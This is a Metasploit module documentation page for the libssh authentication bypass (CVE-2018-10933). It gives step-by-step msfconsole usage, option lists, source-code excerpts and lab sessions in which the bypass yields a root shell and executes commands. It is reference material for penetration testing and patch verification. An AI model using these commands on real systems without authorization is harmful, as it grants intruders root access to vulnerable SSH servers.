libssh Authentication Bypass Scanner - Metasploit


This page contains detailed information about how to use the auxiliary/scanner/ssh/libssh_auth_bypass metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: libssh Authentication Bypass Scanner
Module: auxiliary/scanner/ssh/libssh_auth_bypass
Source code: modules/auxiliary/scanner/ssh/libssh_auth_bypass.rb
Disclosure date: 2018-10-16
Last modification time: 2021-02-17 12:33:59 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): 22
List of CVEs: CVE-2018-10933

This module exploits an authentication bypass in libssh server code where a USERAUTH_SUCCESS message is sent in place of the expected USERAUTH_REQUEST message. libssh versions 0.6.0 through 0.7.5 and 0.8.0 through 0.8.3 are vulnerable. Note that this module's success depends on whether the server code can trigger the correct (shell/exec) callbacks despite only the state machine's authenticated state being set. Therefore, you may or may not get a shell if the server requires additional code paths to be followed.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


This module is a scanner module, and is capable of testing against multiple hosts.

msf > use auxiliary/scanner/ssh/libssh_auth_bypass
msf auxiliary(libssh_auth_bypass) > show options
    ... show and set options ...
msf auxiliary(libssh_auth_bypass) > set RHOSTS ip-range
msf auxiliary(libssh_auth_bypass) > exploit

Other examples of setting the RHOSTS option:

Example 1:

msf auxiliary(libssh_auth_bypass) > set RHOSTS 192.168.1.3-192.168.1.200 

Example 2:

msf auxiliary(libssh_auth_bypass) > set RHOSTS 192.168.1.1/24

Example 3:

msf auxiliary(libssh_auth_bypass) > set RHOSTS file:/tmp/ip_list.txt

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Knowledge Base


Introduction


This module exploits an authentication bypass in libssh server code where a USERAUTH_SUCCESS message is sent in place of the expected USERAUTH_REQUEST message. libssh versions 0.6.0 through 0.7.5 and 0.8.0 through 0.8.3 are vulnerable.

Note that this module's success depends on whether the server code can trigger the correct (shell/exec) callbacks despite only the state machine's authenticated state being set.

Therefore, you may or may not get a shell if the server requires additional code paths to be followed.

Setup


  1. git clone git://git.libssh.org/projects/libssh.git
  2. cd libssh and git checkout libssh-0.8.3
  3. git apply -p1 /path/to/metasploit-framework/external/source/libssh/ssh_server_fork.patch
  4. Follow the steps in INSTALL to build libssh
  5. Run build/examples/ssh_server_fork (I like to strace it)

Actions


Name     Description
----     -----------
Execute  Execute a command
Shell    Spawn a shell

Options


CMD

Set this to a command or shell you want to execute. An exec channel request will be sent instead of a shell channel request.

SPAWN_PTY

Enable this if you would like a PTY. Some server implementations may require this. Note that you WILL be logged in utmp, wtmp, and lastlog in most cases.

CHECK_BANNER

This is a banner check for libssh. It's not sophisticated, and the banner may be changed, but it may prevent false positives due to how the OOB authentication packet always returns true.

Usage


Positive testing against unpatched libssh 0.8.3:

msf5 > use auxiliary/scanner/ssh/libssh_auth_bypass
msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > set rhosts 172.28.128.3
rhosts => 172.28.128.3
msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > set rport 2222
rport => 2222
msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > set spawn_pty true
spawn_pty => true
msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > set verbose true
verbose => true
msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > run

[*] 172.28.128.3:2222 - Attempting authentication bypass
[+] 172.28.128.3:2222 - SSH-2.0-libssh_0.8.3 appears to be unpatched
[*] Command shell session 1 opened (172.28.128.1:56981 -> 172.28.128.3:2222) at 2018-10-19 12:38:24 -0500
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > sessions -1
[*] Starting interaction with 1...

# id
id
uid=0(root) gid=0(root) groups=0(root)
# uname -a
uname -a
Linux ubuntu-xenial 4.4.0-134-generic #160-Ubuntu SMP Wed Aug 15 14:58:00 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
# tty
tty
/dev/pts/1
#

Positive testing of shell commands using the Execute action:

msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > set action Execute
action => Execute
msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > set cmd id; uname -a
cmd => id; uname -a
msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > run

[*] 172.28.128.3:2222 - Attempting authentication bypass
[+] 172.28.128.3:2222 - SSH-2.0-libssh_0.8.3 appears to be unpatched
[*] 172.28.128.3:2222 - Executed: id; uname -a
uid=0(root) gid=0(root) groups=0(root)
Linux ubuntu-xenial 4.4.0-134-generic #160-Ubuntu SMP Wed Aug 15 14:58:00 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/ssh/libssh_auth_bypass) >

Negative testing against patched libssh 0.8.4:

msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > run

[*] 172.28.128.3:2222 - Attempting authentication bypass
[-] 172.28.128.3:2222 - SSH-2.0-libssh_0.8.4 appears to be patched
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/ssh/libssh_auth_bypass) >

Negative testing against an insufficiently implemented libssh server:

msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > run

[*] 172.28.128.3:2222 - Attempting authentication bypass
[+] 172.28.128.3:2222 - SSH-2.0-libssh_0.8.3 appears to be unpatched
[-] 172.28.128.3:2222 - Net::SSH::ChannelOpenFailed: Session channel open failed (1)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > run

[*] 172.28.128.3:2222 - Attempting authentication bypass
[+] 172.28.128.3:2222 - SSH-2.0-libssh_0.8.3 appears to be unpatched
[-] 172.28.128.3:2222 - Net::SSH::ChannelRequestFailed: Shell/exec channel request failed
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/ssh/libssh_auth_bypass) >

Negative testing against OpenSSH:

msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > set rport 22
rport => 22
msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > run

[*] 172.28.128.3:22 - Attempting authentication bypass
[-] 172.28.128.3:22 - SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.4 does not appear to be libssh
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/ssh/libssh_auth_bypass) >

Confirming auth is still normally present using the OpenSSH client:

wvu@kharak:~$ ssh -vp 2222 -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null [email protected]
[snip]
debug1: Authentications that can continue: password
debug1: Next authentication method: password
[email protected]'s password: wrongpassword
debug1: Authentications that can continue: password
Permission denied, please try again.
[email protected]'s password: mypassword
debug1: Authentication succeeded (password).
Authenticated to 172.28.128.3 ([172.28.128.3]:2222).
[snip]
#

Go back to menu.

Msfconsole Usage


Here is how the scanner/ssh/libssh_auth_bypass auxiliary module looks in the msfconsole:

msf6 > use auxiliary/scanner/ssh/libssh_auth_bypass

msf6 auxiliary(scanner/ssh/libssh_auth_bypass) > show info

       Name: libssh Authentication Bypass Scanner
     Module: auxiliary/scanner/ssh/libssh_auth_bypass
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2018-10-16

Provided by:
  Peter Winter-Smith
  wvu <[email protected]>

Available actions:
  Name     Description
  ----     -----------
  Execute  Execute a command
  Shell    Spawn a shell

Check supported:
  No

Basic options:
  Name          Current Setting  Required  Description
  ----          ---------------  --------  -----------
  CHECK_BANNER  true             no        Check banner for libssh
  CMD                            no        Command or alternative shell
  RHOSTS                         yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT         22               yes       The target port
  SPAWN_PTY     false            no        Spawn a PTY
  THREADS       1                yes       The number of concurrent threads (max one per host)

Description:
  This module exploits an authentication bypass in libssh server code 
  where a USERAUTH_SUCCESS message is sent in place of the expected 
  USERAUTH_REQUEST message. libssh versions 0.6.0 through 0.7.5 and 
  0.8.0 through 0.8.3 are vulnerable. Note that this module's success 
  depends on whether the server code can trigger the correct 
  (shell/exec) callbacks despite only the state machine's 
  authenticated state being set. Therefore, you may or may not get a 
  shell if the server requires additional code paths to be followed.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2018-10933
  https://www.libssh.org/security/advisories/CVE-2018-10933.txt

Module Options


This is a complete list of options available in the scanner/ssh/libssh_auth_bypass auxiliary module:

msf6 auxiliary(scanner/ssh/libssh_auth_bypass) > show options

Module options (auxiliary/scanner/ssh/libssh_auth_bypass):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   CHECK_BANNER  true             no        Check banner for libssh
   CMD                            no        Command or alternative shell
   RHOSTS                         yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT         22               yes       The target port
   SPAWN_PTY     false            no        Spawn a PTY
   THREADS       1                yes       The number of concurrent threads (max one per host)

Auxiliary action:

   Name   Description
   ----   -----------
   Shell  Spawn a shell

Advanced Options


Here is a complete list of advanced options supported by the scanner/ssh/libssh_auth_bypass auxiliary module:

msf6 auxiliary(scanner/ssh/libssh_auth_bypass) > show advanced

Module advanced options (auxiliary/scanner/ssh/libssh_auth_bypass):

   Name                        Current Setting                          Required  Description
   ----                        ---------------                          --------  -----------
   AutoRunScript                                                        no        A script to run automatically on session creation.
   AutoVerifySession           true                                     yes       Automatically verify and drop invalid sessions
   CommandShellCleanupCommand                                           no        A command to run before the session is closed
   CreateSession               true                                     no        Create a new session for every successful login
   InitialAutoRunScript                                                 no        An initial script to run on session creation (before AutoRunScript)
   SSH_DEBUG                   false                                    no        SSH debugging
   SSH_IDENT                   SSH-2.0-OpenSSH_7.6p1 Ubuntu-4ubuntu0.3  yes       SSH client identification string
   SSH_TIMEOUT                 10                                       no        SSH timeout
   ShowProgress                true                                     yes       Display progress messages during a scan
   ShowProgressPercent         10                                       yes       The interval in percent that progress should be shown
   VERBOSE                     false                                    no        Enable detailed status messages
   WORKSPACE                                                            no        Specify the workspace for this module

Auxiliary Actions


This is a list of all auxiliary actions that the scanner/ssh/libssh_auth_bypass module can do:

msf6 auxiliary(scanner/ssh/libssh_auth_bypass) > show actions

Auxiliary actions:

   Name     Description
   ----     -----------
   Execute  Execute a command
   Shell    Spawn a shell

Evasion Options


Here is the full list of possible evasion options supported by the scanner/ssh/libssh_auth_bypass auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(scanner/ssh/libssh_auth_bypass) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

<IP>:<RPORT> - <VERSION> does not appear to be libssh


Here is a relevant code snippet related to the "<IP>:<RPORT> - <VERSION> does not appear to be libssh" error message:

59:	  # Vulnerable since 0.6.0 and patched in 0.7.6 and 0.8.4
60:	  def check_banner(ip, version)
61:	    version =~ /libssh[_-]?([\d.]*)$/ && $1 && (v = Rex::Version.new($1))
62:	
63:	    if v.nil?
64:	      vprint_error("#{ip}:#{rport} - #{version} does not appear to be libssh")
65:	      Exploit::CheckCode::Unknown
66:	    elsif v.to_s.empty?
67:	      vprint_warning("#{ip}:#{rport} - libssh version not reported")
68:	      Exploit::CheckCode::Detected
69:	    elsif v.between?(Rex::Version.new('0.6.0'), Rex::Version.new('0.7.5')) ||

<IP>:<RPORT> - libssh version not reported


Here is a relevant code snippet related to the "<IP>:<RPORT> - libssh version not reported" error message:

62:	
63:	    if v.nil?
64:	      vprint_error("#{ip}:#{rport} - #{version} does not appear to be libssh")
65:	      Exploit::CheckCode::Unknown
66:	    elsif v.to_s.empty?
67:	      vprint_warning("#{ip}:#{rport} - libssh version not reported")
68:	      Exploit::CheckCode::Detected
69:	    elsif v.between?(Rex::Version.new('0.6.0'), Rex::Version.new('0.7.5')) ||
70:	          v.between?(Rex::Version.new('0.8.0'), Rex::Version.new('0.8.3'))
71:	      vprint_good("#{ip}:#{rport} - #{version} appears to be unpatched")
72:	      Exploit::CheckCode::Appears

<IP>:<RPORT> - <VERSION> appears to be patched


Here is a relevant code snippet related to the "<IP>:<RPORT> - <VERSION> appears to be patched" error message:

69:	    elsif v.between?(Rex::Version.new('0.6.0'), Rex::Version.new('0.7.5')) ||
70:	          v.between?(Rex::Version.new('0.8.0'), Rex::Version.new('0.8.3'))
71:	      vprint_good("#{ip}:#{rport} - #{version} appears to be unpatched")
72:	      Exploit::CheckCode::Appears
73:	    else
74:	      vprint_error("#{ip}:#{rport} - #{version} appears to be patched")
75:	      Exploit::CheckCode::Safe
76:	    end
77:	  end
78:	
79:	  def run_host(ip)

Execute action requires CMD to be set


Here is a relevant code snippet related to the "Execute action requires CMD to be set" error message:

76:	    end
77:	  end
78:	
79:	  def run_host(ip)
80:	    if action.name == 'Execute' && datastore['CMD'].blank?
81:	      fail_with(Failure::BadConfig, 'Execute action requires CMD to be set')
82:	    end
83:	
84:	    factory = ssh_socket_factory
85:	
86:	    ssh_opts = {

<IP>:<RPORT> - Empty or blank command output


Here is a relevant code snippet related to the "<IP>:<RPORT> - Empty or blank command output" error message:

142:	      end
143:	    when 'Execute'
144:	      output = shell.channel && (shell.channel[:data] || '').chomp
145:	
146:	      if output.blank?
147:	        print_error("#{ip}:#{rport} - Empty or blank command output")
148:	        return
149:	      end
150:	
151:	      print_status("#{ip}:#{rport} - Executed: #{datastore['CMD']}\n#{output}")
152:	    end

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • Peter Winter-Smith
  • wvu

Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.